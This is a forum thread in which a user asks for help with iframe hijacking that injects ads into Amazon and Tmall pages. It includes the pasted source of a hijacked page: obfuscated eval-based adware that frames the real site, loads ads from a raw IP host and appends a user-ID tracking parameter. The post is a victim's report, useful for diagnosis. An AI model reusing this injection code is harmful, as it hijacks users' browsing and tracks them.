浏览器里网站被 iframe 劫持，并嵌入广告，求解决方案！

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

这是一个创建于 3436 天前的主题，其中的信息可能已经有所发展或是发生改变。

最近连续发生两次被浏览器（插件？）劫持并嵌入广告的事情，因为我最近往返厦门与上海，中途更换过操作系统，所以应该没有运营商劫持、系统应用劫持的可能性。

规律：
每次出现被劫持都是在安装 v2ex plus chrome扩展后 https://www.v2ex.com/t/198074
在厦门，那天是中午安装的，第二天出现广告。删除后不再出现。
在上海，昨天早上安装的，晚上就出现广告。
我怀疑过这个扩展，但是在源代码里找不到和iframe有关的字样……
（防作者毁灭证据我已经备份了一份）

昨晚出现过一次，是在天猫，今天又出现了一次，在亚马逊。
浏览器：QQ浏览器 9.01 Beta 2617 （Chrome 44）

我刚刚把亚马逊被劫持的网页源码保存下来了：
html <html xmlns="http://www.w3.org/1999/xhtml" class="hb-loaded"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><style> @charset "utf-8";body, div, span, p, iframe,a{margin:0;padding:0;outline:none}.ad-dialog{position:absolute;z-index:998;padding:0px;font-size:12px;overflow:hidden;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;box-shadow:1px 2px 2px #999;-webkit-box-shadow:1px 2px 2px #999;-moz-box-shadow:1px 2px 2px #999}.ad-dialog .title{width:100%;height:25px;line-height:25px;text-align:left;text-indent:8px;font-size:12px;font-weight:bold;color:#FFF;background:#CCC;-webkit-border-top-left-radius:4px;-moz-border-top-left-radius:4px;border-top-left-radius:4px;-webkit-border-top-right-radius:4px;-moz-border-top-right-radius:4px;border-top-right-radius:4px}.ad-dialog .icon{position:absolute;top:0;right:0;margin-right:4px}.ad-dialog .icon a{width:20px;height:20px;margin:2px 0 0 2px;text-align:center;line-height:20px;float:left;display:inline-block;text-decoration:none;color:#FFF;font-family:Verdana, Geneva, sans-serif;font-weight:bold;font-size:15px;overflow:hidden}.ad-dialog .icon a:hover{color:#F00}.ad-dialog .icon a:hover span{border-color:#F00}.ad-dialog .icon a span{display:inline-block;margin:0px;padding:0;overflow:hidden;zoom:1}.ad-dialog .icon .icon-min span{height:8px;width:12px;margin:2px 3px;border-bottom:2px solid #FFF}.ad-dialog .icon .icon-max span{height:8px;width:8px;margin:4px 4px;border:2px solid #FFF}.ad-dialog .icon .icon-max span:hover{border:2px solid #F00}.ad-dialog .icon .icon-min span:hover{border-bottom:2px solid #F00}.ad-dialog .content{-webkit-border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-webkit-border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;border-bottom-right-radius:4px}.style0{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px;box-shadow:none}.style0 .title{background:#CCC;color:#333}.style0 .content{-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.style0 .icon a{color:#333}.style0 .icon .icon-min span{border-color:#333}.style0 .icon .icon-max span{border-color:#333}.style1{border:1px solid #000}.style1 .title{background:#444}.style2{border:1px solid #0B4453}.style2 .title{background:#137893}.style3{border:1px solid #E91852}.style3 .title{background:#F27B9B}.style4{border:1px solid #BEA323}.style4 .title{background:#E6D479}.style5{border:1px solid #27AD85}.style5 .title{background:#58D9B3}.style6{border:1px solid #3E3564}.style6 .title{background:#5F529A}.style7{border:1px solid #DD6921}.style7 .title{background:#F9AA75}.style8{border:1px solid #285340}.style8 .title{background:#3F7F63} </style><script>url = {a:"http://58.215.179.159/svr/sflow/fcbf0818",m:"http://www.amazon.cn/",s:"undefined"};var _iaui=true;var _xus="Y1MGY1mlYZzOdBFpzkogYPsLM1ogYm==M3gO";var _xai="264788";</script><script>eval((function(s){var str='';for(var i=0,len=s.length;i<len;i++){str+=String.fromCharCode(s.charCodeAt(i)-3);} return str})("ydu#dgsdudp#@#~*lg*=*378*/*lvwlwoh*=idovh/*wlwoh*=**/*srvlwlrq*=*uljkw#grzq*/*ghod|*=~*w|sh*=**/*wlph*=3/*ordgiluvw*=*grf*/*rshqw|sh*=**/*dgvl}h*=~*z*=*733*/*k*=633/*vnlqfroru*=*vw|oh3*/*plql*=~*deoh*=idovh/*vl}h*=~*z*=3/*k*=3/*srvlwlrq*=**>"));function goURLa(){var desturl=url.a;if(desturl.slice(desturl.length-1)=="/")desturl=desturl.slice(0,desturl.length-1);return"<html></head><script>document.location.replace(\""+desturl+"\");<\/script><\/html>"};function goURLm(){var desturl=url.m;if(desturl.slice(desturl.length-1)=="/")desturl=desturl.slice(0,desturl.length-1);return"<html></head><script>document.location.replace(\""+desturl+"\");<\/script><\/html>"};Object.extend=function(t_,s_){for(var i in s_){if(typeof s_[i]!=="object"){t_[i]=s_[i]}else{t_[i]=t_[i]||{};Object.extend(t_[i],s_[i])}}return t_};function $(o){var d=document;function c(str){var s=d.getElementsByTagName('*'),c=[];for(var x = 0; x < s.length; x++){var a=s[x].className;if(a){s[x].className.indexOf(str)+1?c.push(s[x]):''}};return c.length==1?c[0]:c};return o.indexOf("#")+1?d.getElementById(o.split("#")[1].match(/\S+/)):o.indexOf(".")+1?c(o.split(".")[1].match(/\S+/)[0]):''};function out(s){document.writeln(s)};function css(obj,str){if(!obj||!obj.style){ return;}var t=obj.style.cssText,a=t.replace(/;\s+/ig,";").split(';'),c=[],b=str.replace(/;\s+/ig,";");if(t){for(var i in a){if(a[i]){var reg=RegExp(a[i].split(':')[0]);if(!b.match(eval("/"+a[i].split(':')[0]+"/ig"))){c.push(a[i])}}};b=(c.join(';')+';')+b};obj.style.cssText=b.replace(/%px/ig,'%')};function addClass(obj,name){var fixattr={'class':'className'},cs=obj.getAttribute("class"),cls=cs?'class':fixattr['class'];cs=obj.getAttribute(cls);obj.setAttribute(cls,cs?cs+' '+name:name)};extCallback=typeof(extCallback)=='undefined'?function(para){}:extCallback; </script><title>亚马逊-网上购物商城：要网购, 就来Z.cn!</title></head><body style="margin:0px;overflow-x:hidden;overflow-y:hidden;" huaban_collector_injected="true"><iframe id="ifrmain" src="JavaScript:parent.goURLm()" scrolling="auto" width="100%" height="100%" frameborder="no" onload="" style="position: fixed; display: block;"></iframe><script> eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5=7(1){6(1.2.a.8(\'?\')>0){1.2.a=1.2.a+"&4="+1.3}9{1.2.a=1.2.a+"?4="+1.3}b(c)}',13,13,'|ad|url|userid|_us|extCallback|if|function|indexOf|else||setAdVisiable|true'.split('|'),0,{})) </script><script>var ADwidth=0;var ADheight=0;var tmp_width=0;var tmp_height=0;var message={init:function(arg){var $t=this;var args={loadfirst:"ad",title:"-",istitle:false,mainsize:{w:'100%',h:'100%'},adsize:{w:300,h:180},position:"right down",delay:{type:'',time:3},opentype:"",mini:{able:true,size:{w:250,h:30},position:"left up"},skincolor:'style0'};$t.a=Object.extend(args,arg);$t.min_=0;var $t=this;loading(function(){$t.event();$t.animate();var param={url:url,userid:_xus,adid:_xai};extCallback(param)});function loading(callback){$t.win();$t.max();$t.winchange();css($('#ifrmain'),"display:none;");css($('#ad_id'),"display:none;");if($t.a.loadfirst=="ad"){setTimeout(function(){css($('#ifrmain'),"display:block;")},1000);css($('#ad_id'),"display:block;");callback()}else if($t.a.loadfirst=="doc"){css($('#ifrmain'),"display:block;");$('#ifrmain').onload=function(){css($('#ad_id'),"display:block;");callback()}}}},win:function(){var $t=this;$('.tt_').innerHTML=$t.a.title;css($('.tt_'),"width:"+$t.a.adsize.w+"px;");addClass($('.ad_'),$t.a.skincolor);$t.a.istitle?css($('.tt_'),"display:block"):css($('.tt_'),"display:none")},min:function(){var $t=this;setTimeout(function(){$t.min_=1},500);css($('.min_'),"display:none");css($('.max_'),"display:block");var adIframe=document.getElementById("adframe");if(adIframe){adIframe.src=url.s}$t.position($t.a.mini.position,$t.a.mini.size)},position:function(dir,size){var $t=this,s=size,l,r,t,b,l1,r1,t1,b1;switch(dir){case"left down":l=2;t='';r='';b=2;break;case"left up":l=2;t=2;r='';b='';break;case"right down":l='';t='';r=2;b=2;break;case"right up":l='';t=2;r=2;b='';break;case"center":r='';b='';l=($t.screen().w-s.w)*0.5;t=($t.screen().h-s.h)*0.5;break;default:t=dir.split(" ")[0];l=dir.split(" ")[1];r='';b='';break};css($('.ad_'),"left:"+l+"px;top:"+t+"px;right:"+r+"px;bottom:"+b+"px;");ADwidth=s.w;ADheight=s.h;css($('#adframe'),"width:"+s.w+"px;height:"+s.h+"px;");css($('.tt_'),"width:"+s.w+"px;")},screen:function(){var $t=this,d=document,b=d.body,e=d.documentElement;return{w:e.clientWidth,h:Math.max(b.scrollTop,e.scrollTop)+/BackCompat/i.test(d.compatMode)?b.clientHeight:e.clientHeight}},close:function(){var a=$('.ad_');a.parentNode.removeChild(a)},max:function(){var $t=this;css($('.max_'),"display:none");css($('.min_'),"display:block");$t.min_=0;$t.position($t.a.position,$t.a.adsize);var adIframe=document.getElementById("adframe");if(adIframe){adIframe.src=url.a}$t.a.mini.able?'':css($('.min_'),'display:none;')},winchange:function(){var $t=this;setInterval(function(){if(self!=parent){try{var a=parent.document.getElementById("ad_id");a.parentNode.removeChild(a)}catch(e){}parent.document.getElementById("ifrmain").style.overflow="hidden"}},50)},animate:function(){var $t=this,i=0;if($t.a.delay.type=='min')setTimeout(function(){$t.min()},$t.a.delay.time*1000);if($t.a.delay.type=='close')setTimeout(function(){$t.close()},$t.a.delay.time*1000);if($t.a.opentype=='move'){$('.ad_').onmouseover=function(){if($t.min_==1){$t.max()}}}},event:function(){var $t=this;$('.close_').onclick=function(){$t.close()};$('.min_').onclick=function(){$t.min()};$('.max_').onclick=function(){$t.max()}}};message.init(adparam);var t;function v(){if(document.title!=''){clearTimeout(t);return};var doc;if(document.all){doc=document.frames["ifrmain"].document}else{doc=document.getElementById("ifrmain").contentDocument};document.title=doc?doc.title:"";t=setTimeout("v()",500)};v();function createADPage(){var html="<iframe scrolling='no' frameborder='no' src='"+url.a+"' allowtransparency='true' id='adframe' class='ct_adframe'></iframe>";$(".content").innerHTML=html;css($('#adframe'),"width:"+ADwidth+"px;height:"+ADheight+"px;")};function setAdVisiable(flag){if(flag){if($("#adframe")){}else{createADPage()}css($('#ad_id'),"display:block;")}else{css($('#ad_id'),"display:none;")}}; </script></body></html>

第 1 条附言 · 2015-08-02 17:09:28 +08:00

在这里我对 v2ex plus 的作者致歉，我的确没有经过严格核查就把 v2ex plus 写在帖子里造成对该插件的不良影响。
经过我整个下午的核查，发现相同的情况还出现在 IE 下。这个劫持触发条件至今还没有摸透，每次浏览器设置变动，劫持现象就会消失一阵子。
如果有新发现，我将会进行严谨的测试后再发表出来和大家探讨，谢谢大家的关心。

劫持

浏览器

嵌入

14 条回复 • 2015-08-03 00:10:59 +08:00